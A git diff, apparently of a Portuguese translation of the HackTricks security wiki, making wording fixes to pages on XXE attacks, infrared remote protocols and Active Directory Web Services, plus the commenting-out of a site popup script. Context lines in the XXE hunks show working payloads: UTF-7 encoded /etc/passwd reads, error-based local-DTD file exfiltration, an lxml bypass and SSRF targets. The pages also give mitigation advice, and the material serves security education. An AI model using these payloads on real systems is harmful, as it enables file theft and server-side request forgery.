-O **protocolo jar** é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **arquivo PKZIP** (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
+O **jar** protocol é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
 ```
 jar:file:///var/myarchive.zip!/file.txt
 jar:https://download.host.com/myarchive.zip!/file.txt
@@ -257,7 +257,7 @@ Uma técnica interessante para interromper esse processo na segunda etapa envolv
 <foo>&xxe;</foo>
 ```
 > [!CAUTION]
-> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, RCE XSLT, desserialização, etc).
+> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, XSLT RCE, desserialização, etc).
 
 ### XSS
 ```xml
@@ -358,7 +358,7 @@ Content-Length: 7
 
 foo=bar
 ```
-Então você pode enviar a seguinte solicitação, com o mesmo resultado:
+Então você pode ser capaz de enviar a seguinte solicitação, com o mesmo resultado:
 ```xml
 POST /action HTTP/1.0
 Content-Type: text/xml
@@ -408,7 +408,7 @@ Isso só funciona se o servidor XML aceitar o protocolo `data://`.
 
 ### UTF-7
 
-Você pode usar a \[**"Receita de Codificação" do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
+Você pode usar a \[**"Receita de Codificação"** do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
 ```xml
 <!xml version="1.0" encoding="UTF-7"?-->
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-No entanto, esta solicitação aciona um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:
+No entanto, essa solicitação aciona um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:
 ```json
 {
 "status": 500,
@@ -690,9 +690,9 @@ https://github.com/luisfontes19/xxexploiter
 1. Identifique ou crie um DTD *local* no disco que defina uma entidade de parâmetro **indefinida** (por exemplo, `%config_hex;`).
 2. Crie um DTD interno que:
 * Carregue o DTD local com `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
-* Redefina a entidade indefinida para que:
+* Redefina a entidade indefinida para que ela:
 - Leia o arquivo alvo (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
-- Construa outra entidade de parâmetro que se refira a um **caminho inválido** contendo o valor `%flag;` e acione um erro de parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
+- Construa outra entidade de parâmetro que se refere a um **caminho inválido** contendo o valor `%flag;` e acione um erro de parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
 3. Finalmente, expanda `%local_dtd;` e `%eval;` para que o parser encontre `%error;`, falhe ao abrir `/aaa/<FLAG>` e vaze a flag dentro da exceção lançada – que muitas vezes é retornada ao usuário pela aplicação.
 ```xml
 <!DOCTYPE colors [
@@ -712,7 +712,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 > Se o parser reclamar sobre caracteres `%`/`&` dentro do subconjunto interno, codifique-os duplamente (`&#x26;#x25;` ⇒ `%`) para atrasar a expansão.
 
 #### 2. Contornando a proteção do lxml 5.4.0 (libxml2 ainda vulnerável)
-`lxml` ≥ 5.4.0 proíbe entidades de parâmetro *error* como a acima, mas **libxml2** ainda permite que sejam incorporadas em uma entidade *geral*. O truque é:
+`lxml` ≥ 5.4.0 proíbe entidades de parâmetro *error* como a acima, mas **libxml2** ainda permite que elas sejam incorporadas em uma entidade *geral*. O truque é:
 1. Ler o arquivo em uma entidade de parâmetro `%file`.
 2. Declarar outra entidade de parâmetro que constrói uma entidade **geral** `c` cujo identificador SYSTEM usa um *protocolo inexistente* como `meow://%file;`.
 3. Colocar `&c;` no corpo XML. Quando o parser tenta desreferenciar `meow://…`, ele falha e reflete a URI completa – incluindo o conteúdo do arquivo – na mensagem de erro.
@@ -732,7 +732,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 * A técnica funciona **sem conectividade de saída**, tornando-a ideal para ambientes com filtragem de egressos estrita.
 
 #### Orientações de mitigação
-* Atualize para **lxml ≥ 5.4.0** e garanta que o **libxml2** subjacente seja **≥ 2.13.8**.
+* Atualize para **lxml ≥ 5.4.0** e assegure que o **libxml2** subjacente seja **≥ 2.13.8**.
 * Desative `load_dtd` e/ou `resolve_entities` a menos que absolutamente necessário.
 * Evite retornar erros de parser brutos ao cliente.
 
@@ -763,7 +763,7 @@ dbf.setExpandEntityReferences(false);
 
 DocumentBuilder builder = dbf.newDocumentBuilder();
 ```
-Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` definidas como `false`. A combinação impede cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
+Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` definidas como `false`. A combinação previne cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
 
 Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* usou o construtor vulnerável mostrado acima. Um atacante não autenticado poderia fornecer um corpo XML elaborado para o endpoint `CreateBucketConfiguration` e fazer com que o servidor incorporasse arquivos locais (por exemplo, `/etc/passwd`) na resposta HTTP.
 

src/todo/radio-hacking/infrared.md

@@ -26,13 +26,13 @@ Os bits são codificados modulando a duração do espaço entre os pulsos. A lar
 
 **2. Codificação por Largura de Pulso**
 
-Os bits são codificados pela modulação da largura do pulso. A largura do espaço após o estouro do pulso é constante.
+Os bits são codificados pela modulação da largura do pulso. A largura do espaço após o pulso é constante.
 
 <figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
 
 **3. Codificação de Fase**
 
-Também é conhecida como codificação Manchester. O valor lógico é definido pela polaridade da transição entre o estouro do pulso e o espaço. "Espaço para estouro de pulso" denota lógica "0", "estouro de pulso para espaço" denota lógica "1".
+Também é conhecida como codificação Manchester. O valor lógico é definido pela polaridade da transição entre o pulso e o espaço. "Espaço para pulso" denota lógica "0", "pulso para espaço" denota lógica "1".
 
 <figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
 
@@ -59,11 +59,11 @@ O **comando NEC**, além do preâmbulo, consiste em um byte de endereço e um by
 
 O **código de repetição** tem um "1" após o preâmbulo, que é um bit de parada.
 
-Para **lógica "0" e "1"**, o NEC usa Codificação por Distância de Pulso: primeiro, um estouro de pulso é transmitido, após o qual há uma pausa, cuja duração define o valor do bit.
+Para **lógica "0" e "1"**, o NEC usa Codificação por Distância de Pulso: primeiro, um pulso é transmitido após o qual há uma pausa, cujo comprimento define o valor do bit.
 
 ### Ar Condicionado
 
-Ao contrário de outros controles remotos, **os ar condicionados não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um botão é pressionado para garantir que a **máquina de ar condicionado e o controle remoto estejam sincronizados**.\
+Diferente de outros controles remotos, **os ar condicionados não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um botão é pressionado para garantir que a **máquina de ar condicionado e o controle remoto estejam sincronizados**.\
 Isso evitará que uma máquina configurada para 20ºC seja aumentada para 21ºC com um controle remoto, e então, quando outro controle remoto, que ainda tem a temperatura como 20ºC, for usado para aumentar mais a temperatura, ela "aumentará" para 21ºC (e não para 22ºC pensando que está em 21ºC).
 
 ---
@@ -78,7 +78,7 @@ flipper-zero/fz-infrared.md
 
 ### Tomada de Controle de Smart-TV / Set-top Box (EvilScreen)
 
-Trabalhos acadêmicos recentes (EvilScreen, 2022) demonstraram que **controles remotos multicanal que combinam Infravermelho com Bluetooth ou Wi-Fi podem ser abusados para sequestrar completamente TVs inteligentes modernas**. O ataque encadeia códigos de serviço IR de alta privilégio com pacotes Bluetooth autenticados, contornando a isolação de canais e permitindo lançamentos arbitrários de aplicativos, ativação de microfone ou redefinição de fábrica sem acesso físico. Oito TVs populares de diferentes fornecedores — incluindo um modelo Samsung que afirma conformidade com ISO/IEC 27001 — foram confirmadas como vulneráveis. A mitigação requer correções de firmware do fornecedor ou desativação completa de receptores IR não utilizados.
+Trabalhos acadêmicos recentes (EvilScreen, 2022) demonstraram que **controles remotos multicanal que combinam Infravermelho com Bluetooth ou Wi-Fi podem ser abusados para sequestrar completamente TVs inteligentes modernas**. O ataque encadeia códigos de serviço IR de alta privilégio com pacotes Bluetooth autenticados, contornando a isolação de canais e permitindo lançamentos arbitrários de aplicativos, ativação de microfone ou reset de fábrica sem acesso físico. Oito TVs populares de diferentes fornecedores — incluindo um modelo Samsung que afirma conformidade com ISO/IEC 27001 — foram confirmadas como vulneráveis. A mitigação requer correções de firmware do fornecedor ou desativação completa de receptores IR não utilizados.
 
 ### Exfiltração de Dados Air-Gapped via LEDs IR (família aIR-Jumper)
 

src/windows-hardening/active-directory-methodology/adws-enumeration.md

@@ -4,7 +4,7 @@
 
 ## O que é ADWS?
 
-Active Directory Web Services (ADWS) está **habilitado por padrão em todos os Controladores de Domínio desde o Windows Server 2008 R2** e escuta na porta TCP **9389**. Apesar do nome, **nenhum HTTP está envolvido**. Em vez disso, o serviço expõe dados no estilo LDAP através de uma pilha de protocolos de estrutura .NET proprietários:
+Active Directory Web Services (ADWS) está **habilitado por padrão em todos os Controladores de Domínio desde o Windows Server 2008 R2** e escuta na porta TCP **9389**. Apesar do nome, **nenhum HTTP está envolvido**. Em vez disso, o serviço expõe dados no estilo LDAP através de uma pilha de protocolos de moldura proprietários .NET:
 
 * MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
 
@@ -70,7 +70,7 @@ Combine isso com `s4u2proxy`/`Rubeus /getticket` para uma cadeia completa de **D
 
 ### Registro Verboso do ADDS
 
-Ative as seguintes chaves de registro nos Controladores de Domínio para expor buscas caras / ineficientes provenientes do ADWS (e LDAP):
+Ative as seguintes chaves de registro em Controladores de Domínio para expor buscas caras / ineficientes provenientes do ADWS (e LDAP):
 ```powershell
 New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
 New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD

theme/ai.js

@@ -1,6 +1,6 @@
 /**
  * HackTricks Training Discounts
- */
+
 
 
 (() => {
@@ -9,13 +9,13 @@
   const TXT = 'Click here for HT Summer Discounts, Last Days!';
   const URL = 'https://training.hacktricks.xyz';
 
-  /* Stop if user already dismissed */
+  // Stop if user already dismissed
   if (localStorage.getItem(KEY) === 'true') return;
 
-  /* Quick helper */
+  // Quick helper
   const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
 
-  /* --- Overlay (blur + dim) --- */
+  // --- Overlay (blur + dim) ---
   const overlay = $('div', `
     position: fixed; inset: 0;
     background: rgba(0,0,0,.4);
@@ -24,7 +24,7 @@
     z-index: 10000;
   `);
 
-  /* --- Modal --- */
+  // --- Modal ---
   const modal = $('div', `
     max-width: 90vw; width: 480px;
     background: #fff; border-radius: 12px; overflow: hidden;
@@ -33,10 +33,10 @@
     display: flex; flex-direction: column; align-items: stretch;
   `);
 
-  /* --- Title bar (link + close) --- */
+  // --- Title bar (link + close) ---
   const titleBar = $('div', `
     position: relative;
-    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    padding: 1rem 2.5rem 1rem 1rem; // room for the close button
     text-align: center;
     background: #222; color: #fff;
     font-size: 1.3rem; font-weight: 700;
@@ -53,7 +53,7 @@
   link.textContent = TXT;
   titleBar.appendChild(link);
 
-  /* Close "X" (no persistence) */
+  // Close "X" (no persistence)
   const closeBtn = $('button', `
     position: absolute; top: .25rem; right: .5rem;
     background: transparent; border: none;
@@ -65,11 +65,11 @@
   closeBtn.onclick = () => overlay.remove();
   titleBar.appendChild(closeBtn);
 
-  /* --- Image --- */
+  // --- Image ---
   const img = $('img');
   img.src = IMG; img.alt = TXT; img.style.width = '100%';
 
-  /* --- Checkbox row --- */
+  // --- Checkbox row ---
   const label = $('label', `
     display: flex; align-items: center; justify-content: center; gap: .6rem;
     padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@@ -83,7 +83,7 @@
   };
   label.append(cb, document.createTextNode("Don't show again"));
 
-  /* --- Assemble & inject --- */
+  // --- Assemble & inject ---
   modal.append(titleBar, img, label);
   overlay.appendChild(modal);
 
@@ -93,7 +93,7 @@
     document.body.appendChild(overlay);
   }
 })();
-
+*/
 
 
 /**